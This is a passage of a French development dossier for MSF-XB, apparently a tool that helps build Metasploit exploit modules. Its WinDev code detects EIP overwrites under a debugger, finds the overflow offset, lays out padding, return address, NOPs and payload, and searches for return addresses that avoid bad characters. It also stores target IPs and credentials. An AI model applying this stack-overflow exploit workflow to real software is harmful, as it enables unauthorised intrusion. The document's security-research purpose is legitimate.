WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,DebugException:ExceptionAddress)

// //WD_SET_REGISTRE (context:Eax,context:Ecx,context:Edx,context:Ebx,context:eEsp,context:Ebp,context:Esi,context:Edi,context:eip)

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_EXCEPTION_NOT_HANDLED)CONTINUE

AUTRE CAS// EXCEPTION_ARRAY_BOUNDS_EXCEEDED// EXCEPTION_DATATYPE_MISALIGNMENT// EXCEPTION_FLT_DENORMAL_OPERAND// EXCEPTION_FLT_DIVIDE_BY_ZERO// EXCEPTION_FLT_INEXACT_RESULT// EXCEPTION_FLT_INVALID_OPERATION// EXCEPTION_FLT_OVERFLOW// EXCEPTION_FLT_STACK_CHECK// EXCEPTION_FLT_UNDERFLOW// EXCEPTION_ILLEGAL_INSTRUCTION// EXCEPTION_IN_PAGE_ERROR// EXCEPTION_INT_DIVIDE_BY_ZERO

Page 1074: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1080

// EXCEPTION_INT_OVERFLOW// EXCEPTION_INVALID_DISPOSITION// EXCEPTION_NONCONTINUABLE_EXCEPTION// EXCEPTION_PRIV_INSTRUCTION// EXCEPTION_STACK_OVERFLOW

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)CONTINUE

FIN

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)CONTINUE

SINON// Trace("EAX="+NumériqueVersChaîne(context:Eax,"08X"))//// Trace("EDI="+NumériqueVersChaîne(context:Edi,"08X"))// Trace("EIP="+NumériqueVersChaîne(context:Eip,"08X"))

FINFIN

FIN

API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_EXCEPTION_NOT_HANDLED)

// API ("KERNEL32.DLL","ContinueDebugEvent",dbEvent:ProcessId,dbEvent:ThreadId,DBG_CONTINUE)

FIN

API ("KERNEL32.DLL","CloseHandle",myPI:hProcess)API ("KERNEL32.DLL","CloseHandle",myPI:hThread)

Message("END")

//Si plantage détectéSI bExceptionOccured ALORS

sValRegistre is stringbAnalyse is boolean=False

SI MSFXB_Assistant.CBOX_Trace ALORS Trace("EXCEPTION_ACCESS_VIOLATION occured :-)")

//Analyse des registres// EIP <DEB> *****************************************************************************************************

sValRegistre = NoSpace(FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[9])SI ChaîneOccurrence(noX(MSFXB_Assistant.SCFindReplaceTXT.SAI_PATTERN), sValRegistre) >0 ALORS

// SAI_PATTERN est en HEXAbAnalyse=True

Page 1075: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1081

SINONSI ChaîneOccurrence(noX(MSFXB_Assistant.SCFindReplaceTXT.SAI_PATTERN), HEX2ASCII(sValRegistre, "")) >0 ALORS

// SAI_PATTERN est en ASCIIbAnalyse=True

SINONSI ChaîneOccurrence(noX(MSFXB_Assistant.SCFindReplaceTXT.SAI_PATTERN), HEXreverse(sValRegistre)) >0 ALORS

// SAI_PATTERN est en HEXA "inversée"// Note: Quand on utilise le pattern_createbAnalyse=True

SINONSI ChaîneOccurrence(noX(MSFXB_Assistant.SCFindReplaceTXT.SAI_PATTERN), HEX2ASCII(HEXreverse(sValRegistre), "")) >0 ALORS

// SAI_PATTERN est en ASCII "inversée"// Note: Quand on utilise le pattern_createbAnalyse=True

FINFIN

FINFINSI bAnalyse ALORS

SI MSFXB_Assistant.CBOX_Trace ALORS Trace("\o/ EIP overwritten! Analysing...")MSFXB_Assistant.COMBO_RetType..Valeur="jmp esp"

//Peut-on trouver l'offset?MSFXB_Assistant.SAI_ADRESSE = sValRegistreSI Gauche(MSFXB_Assistant.SCFindReplaceTXT.SAI_PATTERN, 2) = "Aa" ALORS

//On a du utiliser "pattern_create"ExécuteTraitement(MSFXB_Assistant.BTN_CALCULER_SPACE, trtClic)SI MSFXB_Assistant.SAI_SPACE<>0 ALORS

//Offset trouvéSI MSFXB_Assistant.CBOX_Trace ALORS Trace("Offset found! Glory me!")

FINFIN

//Design de l'exploitSI MSFXB_Assistant.TABLE_Design..Vide ALORS

TableAjouteLigne(MSFXB_Assistant.TABLE_Design, 2, MSFXB_Assistant.SAI_SPACE, "rand_text_alphanumeric") //BRUT - RAWTableAjouteLigne(MSFXB_Assistant.TABLE_Design, 4, 4) //RETTableAjouteLigne(MSFXB_Assistant.TABLE_Design, 1, 12) //NOPs (12 est une valeur arbitraire)TableAjouteLigne(MSFXB_Assistant.TABLE_Design, 3) //PAYLOAD

FIN

FIN

Page 1076: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1082

bAnalyse=False// EIP <FIN> *****************************************************************************************************

FIN

Procédure globale WD_GET_ETAT_BPX// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] WD_GET_ETAT_BPX (<VL_Adr> est entier sans signe sur 4 octets)//// Paramètres :// VL_Adr (entier sans signe sur 4 octets) : <indiquez ici le rôle de VL_Adr>// Valeur de retour :// entier : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE WD_GET_ETAT_BPX(VL_Adr est un entier sans signe sur 4 octets)

//S_BPDATA est une structure// lpAddr est un entier sans signe sur 4 octets// byData est un entier sans signe sur 1 octets// nCount est un entier sans signe sur 4 octets// bEtat est un entier sans signe sur 4 octets//FIN

ind est un entier = TableauCherche(VGP_bpData,tcLinéairePremier,"lpAddr",vl_adr,1)

SI ind>0 ALORSRENVOYER VGP_bpData[ind]:bEtat

SINONRENVOYER -1

FIN

Procédure globale WD_GET_NUM_BPX// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] WD_GET_NUM_BPX (<VL_Adr> est entier sans signe sur 4 octets)//

Page 1077: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1083

// Paramètres :// VL_Adr (entier sans signe sur 4 octets) : <indiquez ici le rôle de VL_Adr>// Valeur de retour :// entier : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE WD_GET_NUM_BPX(VL_Adr est un entier sans signe sur 4 octets)

RENVOYER TableauCherche(VGP_bpData,tcLinéairePremier,"lpAddr",vl_adr,1)

Procédure globale WD_SET_REGISTRE// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://WD_SET_REGISTRE ( [<VL_EAX> est entier sans signe sur 4 octets [, <VL_ECX> est entier sans signe sur 4 octets [, <VL_EDX> est entier sans signe sur 4 octets [, <VL_EBX> est entier sans signe sur 4 octets [, <VL_ESP> est entier sans signe sur 4 octets [, <VL_EBP> est entier sans signe sur 4 octets [, <VL_ESI> est entier sans signe sur 4 octets [, <VL_EDI> est entier sans signe sur 4 octets [, <VL_EIP> est entier sans signe sur 4 octets]]]]]]]]])

//// Paramètres :// VL_EAX (entier sans signe sur 4 octets - valeur par défaut=0) : < indiquez ici le rôle de VL_EAX >// VL_ECX (entier sans signe sur 4 octets - valeur par défaut=0) : < indiquez ici le rôle de VL_ECX >// VL_EDX (entier sans signe sur 4 octets - valeur par défaut=0) : < indiquez ici le rôle de VL_EDX >// VL_EBX (entier sans signe sur 4 octets - valeur par défaut=0) : < indiquez ici le rôle de VL_EBX >// VL_ESP (entier sans signe sur 4 octets - valeur par défaut=0) : < indiquez ici le rôle de VL_ESP >// VL_EBP (entier sans signe sur 4 octets - valeur par défaut=0) : < indiquez ici le rôle de VL_EBP >// VL_ESI (entier sans signe sur 4 octets - valeur par défaut=0) : < indiquez ici le rôle de VL_ESI >// VL_EDI (entier sans signe sur 4 octets - valeur par défaut=0) : < indiquez ici le rôle de VL_EDI >// VL_EIP (entier sans signe sur 4 octets - valeur par défaut=0) : < indiquez ici le rôle de VL_EIP >// Valeur de retour :// Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE WD_SET_REGISTRE(VL_EAX est un entier sans signe sur 4 octets=0,VL_ECX est un entier sans signe sur 4 octets=0,VL_EDX est un entier sans signe sur 4 octets=0,VL_EBX est un entier sans signe sur 4 octets=0,VL_ESP est un entier sans signe sur 4 octets=0,VL_EBP est un entier sans signe sur 4 octets=0,VL_ESI est un entier sans signe sur 4 octets=0,VL_EDI est un entier sans signe sur 4 octets=0,VL_EIP est un entier sans signe sur 4 octets=0)

//pbuf est un buffer sur 50pbuf is string on 100nNread est un entier système //SIZE_T

Page 1078: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1084

API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_EAX,&pbuf,100,Null)//API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_EAX,&pbuf,Taille(pbuf),Null)FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[1] = NumériqueVersChaîne(vl_eax,"08X")FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[1] = pbuf//NumériqueVersChaîne(pbuf,"08X")//trace(NumériqueVersChaîne(pbuf,"08X"))

API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_ECX,&pbuf,100,Null)FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[2] = NumériqueVersChaîne(VL_ECX,"08X")FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[2] = pbuf//NumériqueVersChaîne(pbuf,"08X")//Trace(pbuf)

API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_EDX,&pbuf,100,Null)FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[3] = NumériqueVersChaîne(VL_EDX,"08X")FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[3] = pbuf//NumériqueVersChaîne(pbuf,"08X")//Trace(pbuf)

API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_EBX,&pbuf,100,Null)FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[4] = NumériqueVersChaîne(VL_EBX,"08X")FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[4] = pbuf//NumériqueVersChaîne(pbuf,"08X")//Trace(pbuf)

//si FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[5]<>NumériqueVersChaîne(VL_ESP,"08X") ALORS// API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_ESP,&pbuf,4,Null)// info("debug 15")// TableInsèreLigne(FEN_MAIN_WDDEBUG.TAB_APPEL_PILES,0,NumériqueVersChaîne(VL_ESP,"08X"),pbuf)// TableSelectPlus(FEN_MAIN_WDDEBUG.TAB_APPEL_PILES,1)//FINAPI("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_ESP,&pbuf,100,Null)FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[5] = NumériqueVersChaîne(VL_ESP,"08X")FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[5] = pbuf//NumériqueVersChaîne(pbuf,"08X")//Trace(NumériqueVersChaîne(pbuf,"08X"))

API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_EBP,&pbuf,100,Null)FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[6] = NumériqueVersChaîne(VL_EBP,"08X")FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[6] = pbuf//NumériqueVersChaîne(pbuf,"08X")//Trace(NumériqueVersChaîne(pbuf,"16X"))

API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_ESI,&pbuf,100,Null)FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[7] = NumériqueVersChaîne(VL_ESI,"08X")FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[7] = pbuf//NumériqueVersChaîne(pbuf,"08X")//Trace(pbuf)

API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_EDI,&pbuf,100,Null)FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[8] = NumériqueVersChaîne(VL_EDI,"08X")FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[8] = pbuf//NumériqueVersChaîne(pbuf,"08X")//Trace(pbuf)

Page 1079: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1085

API("KERNEL32.DLL","ReadProcessMemory",myPI:hProcess,VL_EIP,&pbuf,100,Null)FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_ADR[9] = NumériqueVersChaîne(VL_EIP,"08X")FEN_MAIN_WDDEBUG.TAB_REGISTRE.COL_VAL[9] = pbuf//NumériqueVersChaîne(pbuf,"08X")//Trace(pbuf)

Page 1080: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1086

Procedures globales de MSF-XB Messages multilangues

N° Message

1 FR: La clé de registre pour effectuer une recherche Windows dans les modules Metasploit 2.x (.pm) n'existe pas.GB: The registry key enabling the Windows search of text in the Metasploit 2.x modules (.pm) doesn't exist.

2 FR: Voulez-vous la créer (HKEY_CLASSES_ROOT\.pm\PersistentHandler)?GB: Do you want to create this key (HKEY_CLASSES_ROOT\.pm\PersistentHandler)?

3 FR: The registry key enabling the Windows search of text in the Metasploit 3.x modules (.rb) doesn't exist.GB: La clé de registre pour effectuer une recherche Windows dans les modules Metasploit 3.x (.rb) n'existe pas.

4 FR: Do you want to create this key (HKEY_CLASSES_ROOT\.rb\PersistentHandler)?GB:

5 FR: Voulez-vous la créer (HKEY_CLASSES_ROOT\.rhtml\PersistentHandler)?GB: Do you want to create this key (HKEY_CLASSES_ROOT\.rb\PersistentHandler)?

6 FR: La clé de registre pour effectuer une recherche Windows dans les modules Metasploit 3.x MSFWEB (.rhtml) n'existe pas.GB: The registry key enabling the Windows search of text in the Metasploit 3.x modules (.rb) doesn't exist.

7 FR: Aucune adresse de retour trouvée... :-(GB: No return address found... :-(

8 FR: Vous devez choisir un Opcode pour chercher une adresse de retour!GB: You must choose an Opcode to search a return address!

9 FR:GB: Findjmp2.exe not found in:

10 FR: Dumpé dans GB: Dumped in

11 FR: Ouvrir le fichier?GB: Open the file?

12 FR: branchseeker non trouvé dans:GB: branchseeker not found in:

13 FR: Aucune adresse de retour trouvée pour la DLL: GB: No return address found for the DLL:

14 FR: Chercher dans la base d'opcodes du Metasploit?GB: Search in the Metasploit Opcode Database?

Page 1081: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Collection de procéduresPartie 8

26/10/2008 1087

N° Message

15 FR: Lancement de MSFWEB...GB: Launching MSFWEB...

16 FR: MSF mis à jour depuis TrunkGB: MSF updated from Trunk

17 FR: Mise à jour depuis trunk...GB: Updating from trunk...

18 FR: Démarrage de msfgui...GB: Launching msfgui...

19 FR: Lancement de l'exploit...GB: Launching the exploit...

20 FR: Impossible de lancer le GUI :-(GB: Impossible to launch the GUI :-(

21 FR: Code hexa=GB: hex code=

22 FR: Continuer?GB: Continue?

N° mess.: numéro de message.

Page 1082: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1088

Procedures globales de MSF-XB Code

Procédure globale AjouteSTROPROCEDURE AjouteSTRO(IP,LOGIN="",PASS="",PORT="135",TYPE="RPC",NomINI="CBSTRO.INI",CLECRYPTAGEPASS="X",SHARE="C$",REPSYSTEM="\WINNT\System32\")HLitRecherche(STRO,IP,IP)SI PAS H.Trouve ALORS

STRO.IP=IPSTRO.IP1=ExtraitChaîne(IP,1,".")STRO.IP2=ExtraitChaîne(IP,2,".")STRO.IP3=ExtraitChaîne(IP,3,".")STRO.IP4=ExtraitChaîne(IP,4,".")STRO.ADDDATE=DateSys()STRO.ADDHOUR=HeureSys()STRO.REPSYSTEM=SHARE+REPSYSTEMSTRO.PORT=PORTHLitRecherche(TYPESTRO,TYPESTRO,TYPE)SI HTrouve ALORS

STRO.IDTYPESTRO=TYPESTRO.IDTYPESTROSINON

TYPESTRO.TYPESTRO=TYPEHAjoute(TYPESTRO)HLitDernier(TYPESTRO)STRO.IDTYPESTRO=TYPESTRO.IDTYPESTRO

FINHAjoute(STRO)

HLitDernier(STRO)

USER.LOGIN=LOGINUSER.PASS=Crypte(PASS,CLECRYPTAGEPASS)USER.STCLEUNIK=STRO.IDSTROHAjoute(USER)

SINONSI STRO.REPSYSTEM<>SHARE+REPSYSTEM ALORS

STRO.REPSYSTEM=SHARE+REPSYSTEMHModifie(STRO)

FIN

SI STRO.PORT<>PORT ALORS

Page 1083: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1089

STRO.PORT=PORTHModifie(STRO)

FIN

HLitRecherche(TYPESTRO,IDTYPESTRO,STRO.IDTYPESTRO)SI HTrouve ALORS

SI TYPESTRO.TYPESTRO<>TYPE ALORS //Nouveau TYPESTRO pour le STROSTRO.IDTYPESTRO=TYPESTRO.IDTYPESTROHModifie(STRO)

FINFIN

HLitRecherche(USER,STCLEUNIK,STRO.IDSTRO)fini is int=0TANTQUE H.Trouve ET fini=0

SI USER.LOGIN=LOGIN AND Décrypte(USER.PASS,CLECRYPTAGEPASS)=PASS ALORSfini=1

FINHLitSuivant(USER)

FINSI fini=0 ALORS

USER.LOGIN=LOGINUSER.PASS=Crypte(PASS,"~~#[]+$$")USER.STCLEUNIK=STRO.IDSTROHAjoute(USER)

FINFININIEcrit("TEMP","LASTIP",IP,NOMINI)

Procédure globale ASCII2HEX// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] ASCII2HEX ( [<sASCII> [, <sHEXA>]])//// Paramètres :// sASCII (valeur par défaut="A") : < indiquez ici le rôle de sASCII >// sHEXA (valeur par défaut="\x41") : < indiquez ici le rôle de sHEXA >// Valeur de retour :// Type indéterminé : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE ASCII2HEX(sASCII=

Page 1084: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1090

"A", sHEXA="\x41")

//On parcourt la chaine BADCHARS2 par caractère pour convertir chaque caractère en hexa et on les concataine pour a la fin obtenir la chaine d'origine en hexa

nTaille is int=Taille(sASCII)sCCaract est une chaînePOUR cpt=1 A nTaille

//On extrait le caractère à la position i dans la chaînesCCaract = Milieu(sASCII,cpt,1)//Fonctionne mais plus lent://BADCHARS1+="\x" + NumériqueVersChaîne(asc(sCCaract) , "x")//Plus rapide:sHEXA+="\x" + NumériqueVersChaîne(Asc(sASCII[[cpt]]) , "02x")

FIN

RENVOYER sHEXA

Procédure globale ASCII2JS// Résumé : <indiquez ici ce que fait la procédure>// Syntaxe ://[ <Résultat> = ] ASCII2JS ( [<sASCII> [, <sJS>]])//// Paramètres :// sASCII (valeur par défaut="A") : < indiquez ici le rôle de sASCII >// sJS (valeur par défaut="%41") : < indiquez ici le rôle de sJS >// Valeur de retour :// Type indéterminé : // Aucune//// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE ASCII2JS(sASCII="A", sJS="%41")

//On parcourt la chaine BADCHARS2 par caractère pour convertir chaque caractère en JavaScript et on les concataine pour a la fin obtenir la chaine d'origine en JS

nTaille is int=Taille(sASCII)sCCaract est une chaînePOUR cpt=1 A nTaille

//On extrait le caractère à la position i dans la chaînesCCaract = Milieu(sASCII,cpt,1)//Fonctionne mais plus lent://BADCHARS1+="\x" + NumériqueVersChaîne(asc(sCCaract) , "x")//Plus rapide:

Page 1085: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1091

sJS+="%" + NumériqueVersChaîne(Asc(sASCII[[cpt]]) , "02x")FIN

RENVOYER sJS

Procédure globale Cherche_Adresse_Retour// Syntaxe ://Cherche_Adresse_Retour ()//// Paramètres :// Aucun// Valeur de retour :// Aucune// Exemple :// Indiquez ici un exemple d'utilisation.//PROCEDURE Cherche_Adresse_Retour()

//externe ADRESSE_RETOUR //Champ de saisie remplacer par une comboEXTERNE COMBO_ADRESSE_RETOUR_RECHERCHE

EXTERNE MON_OPCODEEXTERNE DLLEXTERNE COMBO_OSnomEXTERNE COMBO_OSversionEXTERNE COMBO_OSSPEXTERNE COMBO_LANGUEEXTERNE PAYLOAD_BADCHARSEXTERNE INT_AVOID_BADCHARS

SI MON_OPCODE<>"" ALORS// ADRESSE_RETOUR=""

ListeSupprimeTout(COMBO_ADRESSE_RETOUR_RECHERCHE)

//Construction du filtreMonFiltre is string

//FONCTIONNE:// MonFiltre="DLLnom='"+upper(DLL)+"' ET OSnom='"+COMBO_OSnom..ValeurAffichée+"' ET OSversion='"+COMBO_OSversion..ValeurAffichée+"' ET OSSP='"+COMBO_OSSP..ValeurAffichée+"'"

Page 1086: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1092

//TEST EN COURS:SI DLL<>"" ALORS //ex: NTDLL.DLL

SI monfiltre<>"" ALORS monfiltre+=" ET "monfiltre+="DLLnom='"+Upper(DLL)+"'"

FIN

SI COMBO_OSnom..ValeurAffichée<>"" ALORS //ex: XPSI MonFiltre<>"" ALORS MonFiltre+=" ET "MonFiltre+="OSnom='"+COMBO_OSnom..ValeurAffichée+"'"

FIN

SI COMBO_OSversion..ValeurAffichée<>"" ALORS //ex: PROFESSIONALSI MonFiltre<>"" ALORS MonFiltre+=" ET "MonFiltre+="OSversion='"+COMBO_OSversion..ValeurAffichée+"'"

FIN

SI COMBO_OSSP..ValeurAffichée<>"" ALORS //ex: 2SI MonFiltre<>"" ALORS MonFiltre+=" ET "MonFiltre+="OSSP='"+COMBO_OSSP..ValeurAffichée+"'"

FIN

SI ChaîneOccurrence(MON_OPCODE, "pop")<1 ALORSMON_OPCODE2 is string=""SI ChaîneOccurrence(Upper(MON_OPCODE), "JMP")>0 ALORS MON_OPCODE2=Remplace(MON_OPCODE, "jmp", "call")SI ChaîneOccurrence(Upper(MON_OPCODE), "CALL")>0 ALORS MON_OPCODE2=Remplace(MON_OPCODE, "call", "jmp")SI MON_OPCODE2<>"" ALORS

SI MonFiltre<>"" ALORS MonFiltre+=" ET "MonFiltre+="(OPCODE='"+MON_OPCODE+"'"+" OU "+"OPCODE='"+MON_OPCODE2+"')"

SINONSI MonFiltre<>"" ALORS MonFiltre+=" ET "MonFiltre+="OPCODE='"+MON_OPCODE+"'"

FINFIN

CléParcours is stringSI MonFiltre<>"" ALORS

CléParcours=HFiltre(OPcode, MonFiltre)SINON

CléParcours="OSNOM"FIN

// HStatCalcule(OPcode,CléParcours)// Info(MonFiltre)

iTrouve is int=0

Page 1087: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1093

nCptTEMP is int=2sBadCharTest is string="xx"

HLitPremier(OPcode,CléParcours)TANTQUE PAS HEnDehors(OPcode) //et iTrouve=0// info(opcode.Adresse)

SI COMBO_LANGUE..ValeurAffichée="" OU COMBO_LANGUE..ValeurAffichée="MULTI" OU ChaîneOccurrence(OPcode.OSlangue, COMBO_LANGUE..ValeurAffichée)>=1 ALORS//si upper(opcode.OPcode) = upper(MON_OPCODE) ou (upper(MON_OPCODE)="POP/POP/RET" et ChaîneOccurrence(opcode.OPcode, "pop")>=2) alors

//SI Upper(OPcode.OPcode)=Upper(MON_OPCODE) ou (MON_OPCODE2<>"" and Upper(OPcode.OPcode)=Upper(MON_OPCODE2)) OU (ChaîneOccurrence(MON_OPCODE, "pop")>=2 ET ChaîneOccurrence(OPcode.OPcode, "pop")>=2) ALORS

SI ChaîneOccurrence(MON_OPCODE, "pop")>=2 ALORSSI ChaîneOccurrence(OPcode.OPcode, "pop")>=2 ALORS

SI COMBO_LANGUE..ValeurAffichée<>"MULTI" OR (COMBO_LANGUE..ValeurAffichée="MULTI" AND Taille(OPcode.OSlangue)>3) ALORSIF INT_AVOID_BADCHARS ET PAYLOAD_BADCHARS<>"" ALORS //Filtrage des Badchars

nCptTEMP=2sBadCharTest="xx"

// Recherche de badcharsTANTQUE Taille(sBadCharTest)=2 ET nCptTEMP < Taille(PAYLOAD_BADCHARS)/4 ET iTrouve<2

sBadCharTest=ExtraitChaîne(PAYLOAD_BADCHARS, nCptTEMP, "\x")sBadCharTest=Upper(Gauche(sBadCharTest,2))// si enmodetest() alors info(sBadCharTest)SI OPcode.Adresse[[1 A 2]]=sBadCharTest OU OPcode.Adresse[[3 A 4]]=sBadCharTest OU OPcode.Adresse[[5 A 6]]=sBadCharTest OU OPcode.Adresse[[7 A 8]]=sBadCharTest ALORS

iTrouve=2// si enmodetest() alors info("DEBUG: ADRESSE "+opcode.Adresse+" contient le BadChar: \x"+sBadCharTest)FINnCptTEMP++

FIN

SI iTrouve=0 ALORS iTrouve=1SINON

iTrouve=1FIN

FINFIN

SINON //C'est pas un pop/pop/ret: c'est un call, jump...// ADRESSE_RETOUR=opcode.Adresse

SI COMBO_LANGUE..ValeurAffichée<>"MULTI" OR (COMBO_LANGUE..ValeurAffichée="MULTI" AND Taille(OPcode.OSlangue)>3) ALORSIF INT_AVOID_BADCHARS ET PAYLOAD_BADCHARS<>"" ALORS //Filtrage des Badchars

nCptTEMP=2

Page 1088: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1094

sBadCharTest="xx"

// Recherche de badcharsTANTQUE Taille(sBadCharTest)=2 ET nCptTEMP < Taille(PAYLOAD_BADCHARS)/4 ET iTrouve<2

sBadCharTest=ExtraitChaîne(PAYLOAD_BADCHARS, nCptTEMP, "\x")sBadCharTest=Upper(Gauche(sBadCharTest,2))// si enmodetest() alors info(sBadCharTest)SI OPcode.Adresse[[1 A 2]]=sBadCharTest OU OPcode.Adresse[[3 A 4]]=sBadCharTest OU OPcode.Adresse[[5 A 6]]=sBadCharTest OU OPcode.Adresse[[7 A 8]]=sBadCharTest ALORS

iTrouve=2// SI EnModeTest() ALORS Info("DEBUG: ADRESSE "+OPcode.Adresse+" contient le BadChar: \x"+sBadCharTest)FINnCptTEMP++

FIN

SI iTrouve=0 ALORS iTrouve=1SINON

iTrouve=1FIN

FINFIN

SI iTrouve=1 ALORSListeAjoute(COMBO_ADRESSE_RETOUR_RECHERCHE,OPcode.Adresse+TAB+OPcode.OPcode+TAB+OPcode.DLLnom+TAB+OPcode.OSnom+" "+OPcode.OSversion+" SP"+OPcode.OSSP+TAB+OPcode.OSlangue)

FINFINiTrouve=0HLitSuivant(OPcode)

FIN

SI COMBO_ADRESSE_RETOUR_RECHERCHE..Occurrence=0 ALORSSI DLL="" ALORS

Erreur("Aucune adresse de retour trouvée... :-(")SINON

Erreur("Aucune adresse de retour trouvée pour la DLL: "+DLL)FINSI OuiNon("Chercher dans la base d'opcodes du Metasploit?") ALORS

LanceAppliAssociée("http://metasploit.com/users/opcode/msfopcode.cgi")FIN

SINON//COMBO_ADRESSE_RETOUR_RECHERCHE=1ComboOuvre(COMBO_ADRESSE_RETOUR_RECHERCHE)

FIN

SINON

Page 1089: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB CodePartie 8

26/10/2008 1095

Erreur("Vous devez choisir un Opcode pour chercher une adresse de retour!")RepriseSaisie(MON_OPCODE)

FIN

